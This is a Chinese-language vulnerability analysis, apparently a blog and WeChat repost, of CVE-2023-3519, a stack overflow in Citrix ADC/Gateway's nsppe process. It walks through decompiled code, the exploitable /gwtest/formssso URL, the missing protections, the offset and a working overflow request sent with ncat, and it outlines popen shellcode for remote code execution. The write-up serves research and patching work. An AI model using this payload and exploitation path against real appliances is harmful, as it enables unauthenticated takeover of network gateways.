文章首发在https://www.ch35tnut.site/zh-cn/vulnerability/cve-2023-3519-cirtix-gateway-rce/
基本信息
Citrix ADC 及 Citrix Gateway 中存在缓冲区溢出漏洞,未授权的攻击者可以通过发送特殊请求触发漏洞,造成RCE。
影响版本
NetScaler ADC 、NetScaler Gateway 13.1 < 13.1-49.13 NetScaler ADC 、NetScaler Gateway 13.0 < 13.0-91.13 NetScaler ADC 13.1-FIPS < 13.1-37.159 NetScaler ADC 12.1-FIPS < 12.1-55.297 NetScaler ADC 12.1-NDcPP < 12.1-55.297
环境搭建
申请开发者试用,配置Citrix Gateway
技术分析&调试
根据国外安全研究员研究,该漏洞存在于/netscaler/nsppe
文件内,diff修复前和修复后的nsppe
,主要修改了ns_aaa_gwtest_get_event_and_target_names
等几个函数
转到ns_aaa_gwtest_get_event_and_target_names
函数,对比修复和未修复的代码,主要在调用ns_aaa_saml_url_decode
函数时对v29添加了校验。
跟进ns_aaa_saml_url_decode
函数,进入ns_aaa_saml_url_decode_inner
__int64 __fastcall ns_aaa_saml_url_decode(__int64 a1, __int64 a2, __int64 a3)
{
return ns_aaa_saml_url_decode_inner(a1, a2, a3, 1LL);
}
在ns_aaa_saml_url_decode_inner
函数中a1是一个char指针,指向了http请求的url,在do while循环时遍历a1数组,当当前a1指向的字符是%,则获取到该字符后面两个字符通过datatable_ascii2bin
得到对应的字符并写入到v4指向的数组内,实际上这里是url解码操作,解码后写入v4数组。如果当前字符不是%则判断是不是+号,是+号则在v4数组内写入空格。两个都不是则直接写入到v4内,可以看出这块代码是在对传入的字符串判断是否为url编码如果是则进行url解码,如果不是则直接写入v4数组。
__int64 __fastcall ns_aaa_saml_url_decode_inner(char *a1, _BYTE *a2, int a3, int a4)
{
_BYTE *v4; // rax
unsigned __int64 v5; // r8
char v6; // bl
char *v7; // r9
char v8; // r10
char v9; // r11
LODWORD(v4) = (_DWORD)a2;
if ( a3 )
{
v5 = (unsigned __int64)&a1[a3];
v4 = a2;
do
{
v6 = *a1;
if ( *a1 == '%' )
{
v7 = a1 + 2;
if ( (unsigned __int64)(a1 + 2) < v5 )
{
v8 = a1[1];
if ( (unsigned __int8)(v8 - 48) <= 9u )
{
v9 = *v7;
if ( (unsigned __int8)(*v7 - 48) < 0xAu || (unsigned __int8)((v9 | 0x20) - 97) < 6u )
{
if ( v9 != 53 )
v7 = a1;
if ( (unsigned __int64)(a1 + 4) >= v5 )
v7 = a1;
if ( v8 != 50 )
v7 = a1;
if ( !a4 )
v7 = a1;
*v4 = datatable_ascii2bin[(unsigned __int8)v7[2]] + 16 * datatable_ascii2bin[(unsigned __int8)v7[1]];
a1 = v7 + 3;
goto LABEL_4;
}
}
}
}
else if ( v6 == '+' )
{
*v4 = 32;
++a1;
goto LABEL_4;
}
++a1;
*v4 = v6;
LABEL_4:
++v4;
}
while ( (unsigned __int64)a1 < v5 );
}
return (unsigned int)((_DWORD)v4 - (_DWORD)a2);
}
在循环中,写入的数组来源于传入的参数a2,并且do while循环结束是通过判断a1 < v5
,v5 = &a1[a3];
a1是传入的char数组,a3是传入的int。向上追溯调用参数来源。ns_aaa_saml_url_decode
函数的v5最终来源于传入的a1参数,a2为传入的参数,v25来源于*(a1+174)
。不难猜测a1应为一个结构体指针,该指针指向的结构体中存储了指向存储请求url的char数组及该数组的长度,该段代码为解析url的各个参数,并根据参数不同进行的操作。
__int64 __fastcall ns_aaa_gwtest_get_event_and_target_names(__int64 a1, __int64 a2, unsigned int *a3)
{
unsigned int v3; // r13d
unsigned int *v4; // rbx
__int64 v5; // r12
unsigned int v6; // r14d
__int64 v7; // r13
__int64 v8; // r12
int v9; // r8d
__int64 v10; // r10
unsigned __int16 v11; // ax
__int64 v12; // rcx
unsigned int v13; // eax
int v14; // ecx
bool v15; // cf
int v16; // eax
__int64 v17; // rcx
int v19; // r14d
__int64 v20; // rax
int v21; // ecx
unsigned int v22; // r13d
__int64 v23; // rax
unsigned int v24; // edx
__int64 v25; // rdx
int v26; // eax
unsigned int v27; // [rsp+0h] [rbp-50h]
__int64 v28; // [rsp+18h] [rbp-38h] BYREF
__int64 v29; // [rsp+20h] [rbp-30h]
v3 = *(unsigned __int16 *)(a1 + 174);
v27 = v3 - 17;
if ( v3 < 0x20 )
{
v4 = a3;
v5 = 0LL;
v6 = 1441793;
v7 = 0LL;
goto LABEL_7;
}
v8 = *(_QWORD *)(a1 + 36);
v29 = v8 + 17;
v4 = a3;
if ( (unsigned int)strncmp("event=", v8 + 17, 6LL) )
{
v6 = 1441800;
LABEL_5:
v5 = 0LL;
goto LABEL_6;
}
if ( !(unsigned int)strncmp(v8 + 23, "start&", 6LL) )
{
v19 = -29;
v20 = 29LL;
v21 = 1;
}
else
{
if ( (unsigned int)strncmp(v8 + 23, "done&", 5LL) )
{
v6 = 1441801;
goto LABEL_5;
}
v19 = -28;
v20 = 28LL;
v21 = 2;
}
*v4 = v21;
v5 = v20 + v8;
v22 = v3 + v19;
v6 = 1441802;
v27 = v22;
if ( (unsigned int)strncmp("target=", v5, 7LL) )
goto LABEL_6;
v23 = _wrap_memchr(v5 + 7, 38LL, (int)(v22 - 7));
v24 = v22 - 7;
v25 = v24 + 1;
if ( (_DWORD)v25 != v22 - 6 )
{
LABEL_6:
v7 = v29;
goto LABEL_7;
}
v26 = ns_aaa_saml_url_decode(v5 + 7, a2, v25);
ns_aaa_gwtest_get_event_and_target_names
由ns_aaa_gwtest_get_valid_fsso_server
调用,其中v15为栈内char数组,大小为128字节。分析到这可以猜测,由于请求url的参数可控,自然请求url长度也可控,而v15这个数组为栈内数组,大小为128字节。ns_aaa_saml_url_decode_inner
函数中循环次数由url长度决定,也就是可以控制写入v15数组的字节数,如果url过长则在循环时写入的字节数超过128字节,造成栈溢出。
__int64 __fastcall ns_aaa_gwtest_get_valid_fsso_server(__int64 a1)
{
__int64 v1; // rbx
unsigned int v2; // eax
int v4; // r8d
int v5; // r9d
unsigned __int16 v6; // ax
int v7; // r8d
int v8; // r9d
__int64 v9; // rcx
unsigned int v10; // eax
int v11; // ecx
bool v12; // cf
int v13; // eax
__int64 v14; // rcx
__int128 v15[8]; // [rsp+10h] [rbp-A0h] BYREF
unsigned int v16; // [rsp+94h] [rbp-1Ch] BYREF
__int64 v17; // [rsp+98h] [rbp-18h] BYREF
int v18[3]; // [rsp+A4h] [rbp-Ch] BYREF
memset(v15, 0, sizeof(v15));
v16 = 0;
v18[0] = 0;
if ( (unsigned int)ns_aaa_gwtest_get_event_and_target_names(a1, (__int64)v15, &v16) )
向上追溯调用到该函数需要的路径,ns_aaa_gwtest_get_valid_fsso_server
由ns_aaa_gwtest_handler
调用,在代码中可以看到当请求url+8处为formssso时才会进入到调用ns_aaa_gwtest_get_valid_fsso_server
函数的逻辑。
__int64 __fastcall ns_aaa_gwtest_handler(__int64 a1, __int64 a2, __int64 a3, __int64 a4)
{
__int64 v5; // r15
__int64 v6; // rax
__int64 v7; // rcx
_QWORD *v8; // rax
unsigned int v9; // r13d
__int64 valid_fsso_server; // rax
__int64 v11; // rbx
unsigned int v12; // r14d
__int64 v13; // rax
__int64 is_valid_auth_action; // rax
__int64 v15; // rax
__int64 v16; // rcx
unsigned int v17; // eax
__int64 v18; // rcx
__int64 v20; // rcx
__int64 v21; // rdx
__int64 v22; // [rsp+0h] [rbp-30h]
v5 = a3;
v6 = ns_async_ctx;
if ( ns_async_ctx )
{
v20 = (unsigned int)ns_async_callers_context_size;
if ( *(_DWORD *)(ns_async_ctx + (unsigned int)ns_async_callers_context_size + 108) != 1486 )
context id in ASYNC_SAVE_CTX", a2, a3, (unsigned int)ns_async_callers_context_size, a4);
v12 = *(_DWORD *)(ns_async_ctx + (unsigned int)ns_async_callers_context_size + 112);
v11 = *(_QWORD *)(ns_async_ctx + (unsigned int)ns_async_callers_context_size + 116);
*)(ns_async_ctx + (unsigned int)ns_async_callers_context_size + 112) = 0;
*)(v6 + v20 + 116) = 0LL;
goto LABEL_41;
}
v7 = *(_QWORD *)(a2 + 36);
v8 = (_QWORD *)(v7 + 8);
a3 = *(_DWORD *)(v7 + 8) | 0x20202020u;
v9 = 32;
if ( (int)a3 <= 'lmar' )
{
if ( (_DWORD)a3 == '?dck' )
{
v12 = 7;
v11 = 0LL;
goto LABEL_41;
}
if ( (_DWORD)a3 == 1752462689 )
{
if ( (*v8 | 0x2020202020202020LL) != 'vreshtua'
(*(unsigned __int16 *)(v7 + 16) | 0x2020) != 29285
(*(_BYTE *)(v7 + 18) | 0x20) != 63 )
{
return v9;
}
v22 = a4;
is_valid_auth_action = ns_aaa_gwtest_is_valid_auth_action(a2);
if ( is_valid_auth_action )
{
v11 = is_valid_auth_action;
v12 = 1;
goto LABEL_39;
}
return 3907;
}
if ( (_DWORD)a3 != 'lluf' )
return v9;
v12 = 9 * ((*(_BYTE *)(v7 + 12) | 0x20) == 63);
LABEL_20:
v11 = 0LL;
if ( !v12 )
return v9;
goto LABEL_41;
}
if ( (int)a3 <= 'nahb' )
{
if ( (_DWORD)a3 == 'lmas' )
{
if ( (*(_WORD *)(v7 + 12) | 0x2020) == (*(_WORD *)"SP?" | 0x2020)
(*(_BYTE *)(v7 + 14) | 0x20) == (aSamlsp_0[6] | 0x20) )
{
v22 = a4;
v13 = ns_aaa_gwtest_is_valid_auth_action(a2);
if ( v13 )
{
v11 = v13;
v12 = 3;
goto LABEL_39;
}
}
else
{
if ( (*(_WORD *)(v7 + 12) | 0x2020) != (*(_WORD *)"IdP?" | 0x2020)
(*(_BYTE *)(v7 + 14) | 0x20) != (aSamlidp_1[6] | 0x20) )
{
return v9;
}
v22 = a4;
v15 = ns_aaa_gwtest_is_valid_auth_action(a2);
if ( v15 )
{
v11 = v15;
v12 = 4;
goto LABEL_39;
}
}
}
else
{
if ( (_DWORD)a3 != 'mrof' || (*v8 | 0x2020202020202020LL) != 'osssmrof' || (*(_BYTE *)(v7 + 16) | 0x20) != 63 )
return v9;
v22 = a4;
valid_fsso_server = ns_aaa_gwtest_get_valid_fsso_server(a2);
ns_aaa_gwtest_handler
由ns_vpn_process_unauthenticated_request
函数调用,在ns_vpn_process_unauthenticated_request
函数中有如下逻辑,当请求路径为/gwtest/
时进入调用到目标函数的逻辑。
if ( v51 == 1702131559 )
{
if ( (*(_QWORD *)v26 | ' ') != '/tsetwg/' )
goto LABEL_2888;
LABEL_437:
if ( ns_async_ctx && *(_DWORD *)(ns_async_ctx + (unsigned int)ns_async_callers_context_size + 108) != 652 )
panic_0(
"Async context ID does not match expected context ID NS_ASYNC_CTX_AAA_UNAUTH_GWTEST",
a2,
v25,
(unsigned int)ns_async_callers_context_size,
v26);
v25 = (unsigned int)(ns_async_callers_context_size + 192);
ns_async_callers_context_size += 192;
v30 = v1891;
if ( ns_async_ctx )
{
if ( *(_DWORD *)(ns_async_ctx + 8) != -87101427 )
goto LABEL_4683;
if ( (unsigned int)v25 < *(_DWORD *)(ns_async_ctx + 104) )
{
a2 = (unsigned int)v25;
v25 = (unsigned int)(*(_DWORD *)(ns_async_ctx + (unsigned int)v25 + 108) - 172);
if ( (unsigned int)v25 >= 0x611 )
goto LABEL_759;
}
}
v164 = ns_aaa_gwtest_handler((__int64)v1896, v1897, 0LL, v1891);
综上可以总结到调用到漏洞函数ns_aaa_saml_url_decode_inner
所需要的url为:
http://target/gwtest/formssso?event=start&target=[overflow char]
只需要让[overflow char]
过长即可溢出在ns_aaa_gwtest_get_valid_fsso_server
函数内的char数组,造成溢出。查看nsppe防护,可以发现PIE,CANARY都没开,只需要利用栈溢出写入shellcode然后jmp esp
即可执行shellcode。
# checksec --file=nsppe_unpatched
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
No RELRO Canary found NX disabled No PIE No RPATH No RUNPATH 68527 Symbols No 0 0 nsppe_unpatched
动态调试找到nsppe进程
root@citrix3
root 457 100.0 43.2 693320 693560 - Rs 19:10 223:34.32 nsppe (NSPPE-00)
禁用看门狗,使用命令禁止发送该信号
nspf help
Usage: '/netscaler/nspf ((<process_name> | <pid>) <action> | query)'
where <process_name> is one of:
aslearn awsconfig bgpd de
imi isisd metricscollectomonuploadd nsaaad
nsaggregatord nscfsyncd nsclfsyncd nsclusterd nsconfigd
nscopo nsfsyncd nsgslbautosyncnslcd nslped
nsm nsnetsvc nsrised nstraceaggregatnsumond
ospf6d ospfd ptpd ripd ripngd
snmpd syshealthd
/netscaler/nspf nsppe-00 pbmonitor 0
nspf NSPPE-00 pbmonitor 0
Removing pitboss monitor on process NSPPE-00 pid 37387
使用Citrix ADC自带的gdb附加调试nsppe
gdb /netscaler/nsppe 461
使用pattern_creat.rb创建字符串
┌──(root㉿kali)-[~]
└─# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag
发送payload,触发漏洞,此时rsp为6641376641366641,对应offset为168,也就是168开始覆盖rsp。
发送payload,触发漏洞,此时rip指向0xcc指令地址,gdb断下
echo -ne 'GET /gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAx62x8cx6dx00x00x00x00x00xcc HTTP/1.1rnHost: 192.168.52.108rnrn' | ncat --ssl 192.168.52.108 443
在gdb中可以看到缓冲区位于rbp-0xa0处。
通过谷歌,知道在Citrix ADC中,nsppe是网络子系统,一当nsppe进程down了,会造成系统无法处理网络请求,最直观的表现就是当ssh连接目标系统并使用gdb调试nsppe进程的时候,ssh会卡死,而后退出,因为服务器的网络子系统处于调试状态,没办法处理网络请求。
所以在整个利用过程中,为了保证能够获取到shell/保活系统,要保证nsppe进程不会挂掉。通过shellcode调用popen函数然后执行系统命令,并返回到上层调用栈(保证请求正常返回)。
之后就是常规则shellcode编写了,直接使用二进制文件内硬编码的popen函数地址即可。需要注意的就是nsppe内实现的url解码逻辑有点不太一样, 具体参考参考链接,这里就不详细展开了。
小结
整个漏洞产生和利用原理简单直接,因为nsppe没有开启任何溢出防护措施,直接使用jmp esp即可,让我想起了这个经典表情包
不知道是不是因为这个引擎起源比较久的原因,nsppe没有去除调试符号,对于理解原理和调试exp都有非常大的帮助。
https://mybrokencomputer.net/t/citrix-adc-netscaler-developer-license/42
https://blog.assetnote.io/2023/07/24/citrix-rce-part-2-cve-2023-3519/
原文始发于微信公众号(闲聊趣说):CVE-2023-3519 Cirtix Gateway RCE分析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论